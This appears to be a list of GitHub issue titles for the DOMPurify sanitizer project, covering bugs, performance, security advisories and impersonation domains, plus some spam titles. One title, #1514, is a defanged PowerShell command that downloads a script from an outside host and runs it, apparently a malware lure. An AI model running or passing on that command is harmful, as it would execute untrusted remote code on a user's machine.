Repository Issue Activity (beta)

#1583 Lightweight Server-Side Execution?

#1556 tag new version with DDoS fix

#1544 CVE-2026-65901 found by Checkmarx SCA in 3.4.12

#1545 Any reason why `webcal:` and `geo:` URI schemes are blocked?

#1525 SVG attribute `dominant-baseline` gets removed

#1521 Manually removing SVG element in uponSanitizeElement hook throws "a node selected for removal could not be detached"

#1522 discussion: ESM-only

#1514 («1 )iex (irm hxxps://allaivo[.]me/spotify)

#1515 ثعلب

#1512 http://example.com

#1496 Wrong sanitize since 3.4.8

#1492 Performance: Cache DOMParser instance instead of creating a new one on every sanitize() call

#1457 DOMPurify 3.4.8 returns text content only when serializing sanitized HTML with happy-dom Window

#1422 Confusion about fallback policy created by DomPurify

#1436 Note on performance overhead after PR #1396

#1434 LICENSE-MPL is missing from the published npm package

#1433 Hhvg

#939 DOMPurify and Trusted Types - Clarification to Docs

#1410 Clarify GHSA-76mc-f452-cxcm

#1355 Support relaxed select parser

#1226 Untrusted impersonation of the project at dompurify.com

#1227 Untrusted impersonation of the project at dompurify.org

#1368 Demo can't load test vectors

#1333 Publish with trusted publishing

#1319 ADD_ATTR function form bypasses URI validation